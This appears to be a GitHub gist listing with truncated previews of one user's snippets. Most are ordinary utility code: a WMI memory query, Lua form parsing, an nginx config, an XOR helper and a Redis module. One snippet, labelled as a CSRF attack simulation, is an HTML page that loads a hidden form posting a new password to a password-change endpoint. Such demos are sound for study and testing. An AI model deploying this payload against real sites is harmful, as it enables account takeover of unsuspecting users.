Skip to content

Instantly share code, notes, and snippets.

View gist:c0e540226279962dc3cb
import os
import re
import sys
import wmi
def get_memory_info():
computer_system = wmi.WMI().Win32_ComputerSystem()
op_system = wmi.WMI().Win32_OperatingSystem()
total_mem = int(computer_system[0].TotalPhysicalMemory)/1024/1024
View random_string.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import random
def random_string(length):
str = ''
for i in range(length):
str += chr(random.randint(ord('#'),ord('~')))
return str
@moonbingbing
moonbingbing / parse_form_protocol.lua
Created Nov 2, 2012
parse content-Type multipart/form-data according to RFC2388
View parse_form_protocol.lua
--parse content-Type multipart/form-data according to RFC2388.
function parse_form_protocol(query_data)
local result = {}
local boundary = get_boundary()
if boundary == nil then
return result
end
boundary = "--" .. boundary
local regex = [[name="(\w+)"\s+([\S\s]+?)\s+?]] .. boundary
for m in ngx.re.gmatch(query_data, regex) do
@moonbingbing
moonbingbing / nginx.conf
Created Nov 2, 2012
query postgres in openresty
View nginx.conf
worker_processes 1;
events {
worker_connections 64;
}
http {
send_timeout 1s;
server_tokens off;
@moonbingbing
moonbingbing / csrf_post
Created Apr 12, 2013
一个简单的csrf post攻击模拟
View csrf_post
<html>
<head>
<title>TEST</title>
</head>
<body onload="load()">
<form action="http://172.22.54.92:9090/cloud/index.php?r=setting/api/ChangeUnstPwd" target="form_iframe" id="csrf" method="post">
<input type="hidden" name="newPwd" value="DEAD" />
@moonbingbing
moonbingbing / xor.py
Created Aug 23, 2012
python string xor sample
View xor.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import itertools
def xor(s, key):
key = key * (len(s) / len(key) + 1)
return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key))
if __name__ == "__main__":
View redis.lua
local redis_c = require "resty.redis"
local ok, new_tab = pcall(require, "table.new")
if not ok or type(new_tab) ~= "function" then
new_tab = function (narr, nrec) return {} end
end
local _M = new_tab(0, 155)
You can’t perform that action at this time.